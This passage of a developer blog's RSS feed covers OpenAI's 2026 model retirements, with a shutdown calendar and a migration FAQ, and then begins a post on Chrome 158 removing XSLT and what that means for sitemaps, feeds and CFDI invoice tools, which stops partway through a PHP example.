  &lt;span class=&quot;token parameter variable&quot;&gt;--include&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;*.py &lt;span class=&quot;token parameter variable&quot;&gt;--include&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;*.ts &lt;span class=&quot;token parameter variable&quot;&gt;--include&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;*.js --exclude-dir&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;node_modules &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;model&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The third one gives false positives by design (a multi-line constructor with &lt;code&gt;model=&lt;/code&gt; on another line will appear), but the list is short and it’s worth reading it by eye.&lt;/p&gt;
&lt;p&gt;Then the test that counts: for every model you end up using, one real request with your production parameters (tools, &lt;code&gt;max_completion_tokens&lt;/code&gt;, &lt;code&gt;temperature&lt;/code&gt; if you pass it) against the new name. Not &lt;code&gt;GET /v1/models&lt;/code&gt;, for the reason above.&lt;/p&gt;
&lt;p&gt;Model names in configuration also live outside the repo: Make, Zapier or n8n workflows, a vendor’s chatbot panel, a Google Sheet with a script. The &lt;a href=&quot;https://ortamarco.me/en/blog/ai-model-retirements-2026/&quot;&gt;retirements guide&lt;/a&gt; has the checklist for those.&lt;/p&gt;
&lt;h2 id=&quot;the-rest-of-openais-calendar-this-year&quot;&gt;The rest of OpenAI’s calendar this year&lt;/h2&gt;
&lt;p&gt;All from the same deprecations page:&lt;/p&gt;









































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What shuts down&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Sep 24&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Videos API, &lt;code&gt;sora-2&lt;/code&gt; and &lt;code&gt;sora-2-pro&lt;/code&gt; (no substitute)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Sep 28&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-3.5-turbo-instruct&lt;/code&gt;, &lt;code&gt;babbage-002&lt;/code&gt;, &lt;code&gt;davinci-002&lt;/code&gt;, &lt;code&gt;gpt-3.5-turbo-1106&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Oct 1&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.4-cyber&lt;/code&gt; → &lt;code&gt;gpt-5.6-cyber&lt;/code&gt; (20 days’ notice)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Oct 23&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Everything in this post&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Oct 31&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Evals go read-only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Nov 30&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Evals dashboard and API, the &lt;code&gt;v1/prompts&lt;/code&gt; API and reusable prompts, Agent Builder&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Dec 1&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-image-1-mini&lt;/code&gt;, &lt;code&gt;gpt-image-1.5&lt;/code&gt;, &lt;code&gt;chatgpt-image-latest&lt;/code&gt; → &lt;code&gt;gpt-image-2&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Dec 11&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5&lt;/code&gt;, &lt;code&gt;gpt-5-mini&lt;/code&gt;, &lt;code&gt;gpt-5-nano&lt;/code&gt;, &lt;code&gt;gpt-5-pro&lt;/code&gt;, &lt;code&gt;o3&lt;/code&gt; and &lt;code&gt;o3-pro&lt;/code&gt; snapshots&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The last row deserves a note: the &lt;code&gt;gpt-5&lt;/code&gt; and &lt;code&gt;o3&lt;/code&gt; model pages each list only the snapshot being retired, so the aliases very likely die with them. The &lt;code&gt;openai-php/laravel&lt;/code&gt; README still uses &lt;code&gt;&amp;#39;model&amp;#39; =&amp;gt; &amp;#39;gpt-5&amp;#39;&lt;/code&gt; as its example. The Assistants API was already shut down on August 26.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Which OpenAI models shut down on October 23, 2026? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; gpt-3.5-turbo (including gpt-3.5-turbo-0125 and the -completions variant), gpt-4 and gpt-4-0613, gpt-4-turbo and gpt-4-turbo-2024-04-09, gpt-4-1106-preview, gpt-4o-2024-05-13, gpt-4.1-nano, o1, o1-pro, o3-mini, o4-mini and gpt-image-1, plus the fine-tuned models ft-gpt-3.5-turbo, ft-gpt-4, ft-gpt-4.1-nano, ft-babbage-002 and ft-davinci-002. OpenAI announced it on April 22, 2026. The gpt-4o alias, gpt-4o-mini and gpt-4.1 are not on the list. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What should I replace gpt-4 and gpt-3.5-turbo with? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; OpenAI lists gpt-5.6-sol as the substitute for gpt-4, gpt-4-turbo, gpt-4o-2024-05-13, o1, o1-pro (in pro mode) and o3-mini; gpt-5.6-terra for gpt-3.5-turbo and o4-mini; gpt-5.6-luna for gpt-4.1-nano; and gpt-image-2 for gpt-image-1. They are reasoning models, so changing the name is not enough: tools in Chat Completions need reasoning_effort none, max_tokens becomes max_completion_tokens and counts reasoning tokens. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What error does the OpenAI API return for a retired model? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; OpenAI does not document the payload. Users who hit the July and August 2026 shutdowns report HTTP 404 with type invalid_request_error and code model_not_found, raised by the Python SDK as openai.NotFoundError. It is not retryable. Retired IDs may keep appearing in GET /v1/models, so the only reliable check is a real request. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does LangChain still use gpt-3.5-turbo by default? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Yes. As of September 2026, ChatOpenAI in both LangChain Python and LangChain.js defaults to gpt-3.5-turbo when no model is passed, and LlamaIndex&amp;#39;s OpenAI LLM does too (it is also what LlamaIndex falls back to when Settings.llm is not set). Code that never names a model will fail on October 23. Pass the model explicitly. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why does gpt-5.6 fail with &amp;quot;Function tools with reasoning_effort are not supported&amp;quot;? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because in Chat Completions, GPT-5.6 only accepts function tools when the effective reasoning effort is none, and the default is medium. Either add reasoning_effort: none to the request, which behaves closest to gpt-4-turbo, or move the call to the Responses API, where tools and reasoning work together. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is the gpt-5.6 migration more expensive? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It depends on what you had. From gpt-4, gpt-4-turbo or o1 it is cheaper: gpt-5.6-sol lists at $4 input and $20 output per million tokens, a promotional price available at least through November 21, 2026. From gpt-3.5-turbo to gpt-5.6-terra it is 4 times the input and 8 times the output price, and from o3-mini to sol about 3.6 and 4.5 times, before counting reasoning tokens, which are billed as output. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What happens to my fine-tuned gpt-3.5-turbo model? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It shuts down on October 23, 2026 with the base models. The listed substitute is the base gpt-5.6-terra, and GPT-5.6 does not support fine-tuning; from January 6, 2027 existing customers cannot create fine-tuning jobs. What the fine-tune learned has to move into the prompt: few-shot examples, structured outputs or retrieval. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>OpenAI</category><category>AI</category><category>API</category><category>Python</category><category>JavaScript</category><category>Migration</category><author>Marco Orta</author></item><item><title>Chrome Removes XSLT: What Breaks in Sitemaps, Feeds and CFDI Invoice Tools</title><link>https://ortamarco.me/en/blog/chrome-removes-xslt-what-breaks/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/chrome-removes-xslt-what-breaks/</guid><description>Seeing &quot;This site uses XSLT&quot; in Chrome? What the red warning means, why Chrome 158 stops running XSLT on Nov 17, what breaks and how to migrate.</description><pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Chrome 158 reaches Stable on 17 November 2026 and stops running XSLT: &lt;code&gt;XSLTProcessor&lt;/code&gt; goes away, and so does processing of &lt;code&gt;&amp;lt;?xml-stylesheet type=&amp;quot;text/xsl&amp;quot;?&amp;gt;&lt;/code&gt;. For most sites that only changes the decoration. The sitemap or feed a human used to see as a table goes back to raw XML, with no error and no change to the file. Where real code breaks is a very Mexican corner of the web: invoice viewers and validators that build a CFDI’s original string in the browser with the tax authority’s XSLT stylesheet. There, the function throws &lt;code&gt;ReferenceError: XSLTProcessor is not defined&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I tested both in Chrome 152 with the switch that turns XSLT off early. For the invoice part I went further: I generated the original string of a test invoice with five different engines and checked every result against the invoice’s own digital seal. A JavaScript XSLT library produces a string the seal does not verify against, the polyfill Chrome recommends fails if the stylesheet keeps its includes, and the official stylesheet as published does not even run in the browser.&lt;/p&gt;
&lt;p&gt;If you landed here because Chrome showed a red bar saying “This site uses XSLT”, start with &lt;a href=&quot;#this-site-uses-xslt-the-red-banner-chrome-shows&quot;&gt;what that warning means&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;the-dates&quot;&gt;The dates&lt;/h2&gt;
&lt;p&gt;Everything comes from the &lt;a href=&quot;https://developer.chrome.com/docs/web-platform/deprecating-xslt&quot;&gt;Chrome for Developers announcement&lt;/a&gt; and the &lt;a href=&quot;https://chromestatus.com/feature/4709671889534976&quot;&gt;Chrome Platform Status entry&lt;/a&gt;, with Stable dates checked against &lt;a href=&quot;https://chromiumdash.appspot.com/fetch_milestone_schedule?mstone=158&quot;&gt;Chromium Dash&lt;/a&gt;:&lt;/p&gt;








































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Milestone&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;Date&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Console warnings&lt;/td&gt;&lt;td&gt;Chrome 142&lt;/td&gt;&lt;td&gt;28 Oct 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Official deprecation (console and Lighthouse)&lt;/td&gt;&lt;td&gt;Chrome 143&lt;/td&gt;&lt;td&gt;2 Dec 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Origin Trial to keep using it starts&lt;/td&gt;&lt;td&gt;Chrome 152&lt;/td&gt;&lt;td&gt;25 Aug 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Beta of the removing version&lt;/td&gt;&lt;td&gt;Chrome 158&lt;/td&gt;&lt;td&gt;28 Oct 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;XSLT stops working on Stable&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Chrome 158&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;17 Nov 2026&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Origin Trial and the &lt;code&gt;XSLTEnabled&lt;/code&gt; enterprise policy end&lt;/td&gt;&lt;td&gt;Chrome 176&lt;/td&gt;&lt;td&gt;17 Aug 2027&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;One detail shortens the runway more than it looks: &lt;a href=&quot;https://developer.chrome.com/blog/chrome-two-week-start&quot;&gt;since Chrome 153 (8 September) a new Stable version ships every two weeks&lt;/a&gt;, not every four. As of 13 November, Chrome 158 is the next Stable release: &lt;a href=&quot;https://chromiumdash.appspot.com/fetch_milestone_schedule?mstone=158&quot;&gt;Chromium Dash&lt;/a&gt; lists it for 17 November. &lt;strong&gt;Until the 17th XSLT still runs on Stable; from that day, if you have not migrated, the symptoms are the ones in the table below.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What about Firefox and Safari?&lt;/strong&gt; Same direction, no date. Mozilla took a &lt;a href=&quot;https://github.com/mozilla/standards-positions/issues/1287&quot;&gt;positive position&lt;/a&gt;, and its &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1990759&quot;&gt;tracking bug&lt;/a&gt; has already closed the console warning (Firefox 147) and an enterprise policy (Firefox 151), but disabling it by default is still open. WebKit said it is &lt;a href=&quot;https://github.com/whatwg/html/issues/11523#issuecomment-3149280766&quot;&gt;“cautiously supportive”&lt;/a&gt; and would probably wait for one engine to remove it fully. The HTML standard &lt;a href=&quot;https://github.com/whatwg/html/pull/12805&quot;&gt;marked XSLT deprecated&lt;/a&gt; on 25 August 2026. In practice, what Chrome 158 does is what most of your users will see in November.&lt;/p&gt;
&lt;h2 id=&quot;this-site-uses-xslt-the-red-banner-chrome-shows&quot;&gt;“This site uses XSLT”: the red banner Chrome shows&lt;/h2&gt;
&lt;p&gt;Since Chrome 154 (Stable on 22 September 2026), Chrome puts a red bar at the top of every page it builds with XSLT. It is not a browser infobar or a pop-up: Blink inserts it into the page itself, as the first element of the body. The text, as it appears in the &lt;a href=&quot;https://chromium.googlesource.com/chromium/src/+/0c473f9179387998a28ccbf6971abdc827e23ae4&quot;&gt;Chromium source&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This site uses XSLT; that functionality is being removed from this browser very soon. When that happens, this page will likely no longer display correctly. You might be able to install a browser extension that allows you to continue viewing it. Otherwise, you should contact the maintainer of the site for further information.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;“removed from this browser very soon” links to the &lt;a href=&quot;https://chromestatus.com/feature/4709671889534976&quot;&gt;Chrome Platform Status entry&lt;/a&gt;, and “install a browser extension” to a &lt;a href=&quot;https://chromewebstore.google.com/search/XSLT%20Polyfill&quot;&gt;Chrome Web Store search for “XSLT Polyfill”&lt;/a&gt;. In Chrome 154 and 155 the bar is in English whatever your browser language. Chrome 156 (Stable on 20 October) translates it and adds a close button (×) with a “Never show this warning” checkbox.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you see it on someone else’s site.&lt;/strong&gt; It is not a virus and nothing is wrong with your computer: the bar comes from Chrome itself. It means the page is drawn with a technology Chrome stops running in Chrome 158, on 17 November 2026. Until then the page works as before; after that it will probably show raw XML or break. If the bar’s links point anywhere other than &lt;code&gt;chromestatus.com&lt;/code&gt; and &lt;code&gt;chromewebstore.google.com&lt;/code&gt;, it is not Chrome’s banner. What you can do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nothing, for now. From Chrome 156, close it with × and tick “Never show this warning” if you do not want it on any site.&lt;/li&gt;
&lt;li&gt;Install an extension that restores XSLT. Chrome’s announcement mentions one that applies the same polyfill sites can use. As with any extension, check who publishes it. &lt;a href=&quot;https://ortamarco.me/en/blog/xslt-polyfill-extension-edge/&quot;&gt;XSLT Polyfill: the extension, the one-line fix and Edge’s later date&lt;/a&gt; covers which one, how to add it to Edge and the line that fixes your own sitemap.&lt;/li&gt;
&lt;li&gt;Tell whoever runs the site. Only they can fix it for everyone.&lt;/li&gt;
&lt;li&gt;If it is a work tool (an intranet, a device’s admin page), tell your IT team: the &lt;code&gt;XSLTEnabled&lt;/code&gt; enterprise policy keeps XSLT on, with no banner, until Chrome 176 on 17 August 2027.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;If it is your site.&lt;/strong&gt; The banner appears on documents Chrome produces by running XSLT: an XML file with &lt;code&gt;&amp;lt;?xml-stylesheet type=&amp;quot;text/xsl&amp;quot;?&amp;gt;&lt;/code&gt; (styled sitemaps and feeds, device dashboards) and the result of &lt;code&gt;XSLTProcessor.transformToDocument()&lt;/code&gt;. Open the URL that shows it and view the source: if an &lt;code&gt;xml-stylesheet&lt;/code&gt; instruction sits under the XML declaration, that is the trigger. If not, open the console, where every use prints “XSLTProcessor and XSLT Processing Instructions have been deprecated by all browsers”. Then skip ahead: for sitemaps and feeds, &lt;a href=&quot;#what-to-do-with-the-sitemap&quot;&gt;what to do with the sitemap&lt;/a&gt;; for JavaScript and CFDI code, &lt;a href=&quot;#how-to-find-out-if-you-depend-on-xslt&quot;&gt;how to find out if you depend on XSLT&lt;/a&gt; and &lt;a href=&quot;#the-alternatives-tested-against-a-real-seal&quot;&gt;the alternatives, tested against a real seal&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Chrome skips the banner when the page is in the Origin Trial or the enterprise policy is on. Since Chrome 155 it also skips it when the XML carries an XHTML &lt;code&gt;&amp;lt;script src&amp;gt;&lt;/code&gt; within two levels of the root element, which Chromium reads as a sign that the polyfill is deployed, and Chrome 156 adds a check for the polyfill’s &lt;code&gt;createXSLTTransformModule&lt;/code&gt; global. Hiding the banner with the Origin Trial only buys time until August 2027.&lt;/p&gt;
&lt;p&gt;One trap if your JavaScript reads text back from &lt;code&gt;transformToDocument()&lt;/code&gt;: in Chrome 154 and 155 the banner is an ordinary element, so its paragraph ends up in the result’s &lt;code&gt;documentElement.textContent&lt;/code&gt;. Chromium’s own test asserts exactly that. Any string you extract that way, such as an original string to check a seal, now carries the warning. From Chrome 156 the text lives in the shadow root of an &lt;code&gt;&amp;lt;xslt-warning-banner&amp;gt;&lt;/code&gt; element and no longer leaks into &lt;code&gt;textContent&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;what-breaks-what-you-see-how-to-fix-it&quot;&gt;What breaks, what you see, how to fix it&lt;/h2&gt;








































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What you use&lt;/th&gt;&lt;th&gt;What happens in Chrome 158&lt;/th&gt;&lt;th&gt;Fix&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;XML sitemap with an XSL stylesheet (WordPress core, Yoast, Rank Math, &lt;code&gt;xslURL&lt;/code&gt; in &lt;code&gt;@astrojs/sitemap&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;A human sees Chrome’s XML viewer instead of the table. No error, and the served file does not change&lt;/td&gt;&lt;td&gt;Nothing, if nobody looks at it. If it matters, drop the instruction or serve a separate HTML version&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RSS/Atom feed with an XSL stylesheet (a &lt;code&gt;.xsl&lt;/code&gt; &lt;code&gt;stylesheet&lt;/code&gt; in &lt;code&gt;@astrojs/rss&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;Opened in the browser, it shows raw XML. Feed readers do not notice&lt;/td&gt;&lt;td&gt;&lt;code&gt;&amp;lt;link rel=&amp;quot;alternate&amp;quot; type=&amp;quot;application/rss+xml&amp;quot;&amp;gt;&lt;/code&gt; in your HTML, or the one-line polyfill&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JavaScript that calls &lt;code&gt;new XSLTProcessor()&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;ReferenceError: XSLTProcessor is not defined&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Move the transform to the server, or use a JS/WASM XSLT engine&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CFDI viewer or validator that builds the original string in the browser&lt;/td&gt;&lt;td&gt;The string is never produced, so the seal cannot be verified&lt;/td&gt;&lt;td&gt;Server-side ext-xsl, xslt-polyfill with a flattened stylesheet, or SaxonJS (details below)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;&amp;lt;?xml-stylesheet type=&amp;quot;text/css&amp;quot;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Nothing: still supported&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;XSLT on your server (PHP ext-xsl, Saxon, xsltproc)&lt;/td&gt;&lt;td&gt;Nothing: this only affects the browser&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;sitemaps-and-feeds-the-decoration-breaks-not-the-file&quot;&gt;Sitemaps and feeds: the decoration breaks, not the file&lt;/h2&gt;
&lt;p&gt;I opened the &lt;code&gt;yoast.com&lt;/code&gt; sitemap index in Chrome 152 twice. With XSLT on, Chrome applies the stylesheet and renders a page titled “XML Sitemap” with its table. With &lt;code&gt;--disable-features=XSLT&lt;/code&gt;, the same URL lands in Chrome’s XML viewer: the tree of &lt;code&gt;&amp;lt;sitemap&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;loc&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;lastmod&amp;gt;&lt;/code&gt; with the &lt;code&gt;xml-stylesheet&lt;/code&gt; instruction visible, no styling and no error. According to the announcement, Chrome also shows a banner linking to extensions when XSLT is off; in headless mode I could not see it.&lt;/p&gt;
&lt;p&gt;This will hit a lot of people, because the XSL stylesheet ships by default across most of the ecosystem:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress core&lt;/strong&gt; adds &lt;code&gt;&amp;lt;?xml-stylesheet type=&amp;quot;text/xsl&amp;quot; href=&amp;quot;.../wp-sitemap.xsl&amp;quot; ?&amp;gt;&lt;/code&gt; to &lt;code&gt;wp-sitemap.xml&lt;/code&gt; since 5.5. &lt;a href=&quot;https://core.trac.wordpress.org/ticket/65593&quot;&gt;Ticket #65593&lt;/a&gt; to remove it sits in the 7.2 milestone, with &lt;a href=&quot;https://github.com/WordPress/wordpress-develop/pull/12448&quot;&gt;PR #12448&lt;/a&gt; open and an alternative (&lt;a href=&quot;https://github.com/WordPress/wordpress-develop/pull/12584&quot;&gt;#12584&lt;/a&gt;) that renders an HTML version on the server. As of 13 September neither is merged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yoast SEO&lt;/strong&gt; still emits it in &lt;code&gt;trunk&lt;/code&gt;, which the changelog labels 28.5 for 15 September, and the &lt;code&gt;yoast.com&lt;/code&gt; sitemap carries it today.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rank Math&lt;/strong&gt; still emits it in &lt;code&gt;trunk&lt;/code&gt;, and the &lt;code&gt;rankmath.com&lt;/code&gt; sitemap carries it today too.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Astro&lt;/strong&gt;: &lt;code&gt;@astrojs/sitemap&lt;/code&gt; has an &lt;code&gt;xslURL&lt;/code&gt; option, and &lt;code&gt;@astrojs/rss&lt;/code&gt; sets &lt;code&gt;type=&amp;quot;text/xsl&amp;quot;&lt;/code&gt; when you pass a &lt;code&gt;stylesheet&lt;/code&gt; ending in &lt;code&gt;.xsl&lt;/code&gt;. Neither is on by default.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;what-about-google&quot;&gt;What about Google?&lt;/h3&gt;
&lt;p&gt;I am not going to write “Googlebot is unaffected” as if Google had said so: I found no Google Search statement about XSLT and sitemaps. What is verifiable is that the change lives in the browser. Your server sends exactly the same bytes before and after 17 November, and Chrome’s announcement says it is not removing XML, only XSLT. A crawler that already read your sitemap without running the stylesheet keeps receiving the same file.&lt;/p&gt;
&lt;h3 id=&quot;what-to-do-with-the-sitemap&quot;&gt;What to do with the sitemap&lt;/h3&gt;
&lt;p&gt;If no human ever opens your sitemap, do nothing. If people use it as a page, you have three paths:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Drop the instruction.&lt;/strong&gt; It saves the request for the &lt;code&gt;.xsl&lt;/code&gt; and the console warnings. WordPress core has official filters: per its own source, returning a falsy value means “the raw XML of the sitemap will be displayed”:&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// In an mu-plugin or functions.php&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;add_filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;wp_sitemaps_stylesheet_url&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;__return_false&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;add_filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;wp_sitemaps_stylesheet_index_url&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;__return_false&amp;#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Yoast: the filter says &amp;quot;url&amp;quot;, but it receives the full declaration&lt;/span&gt;
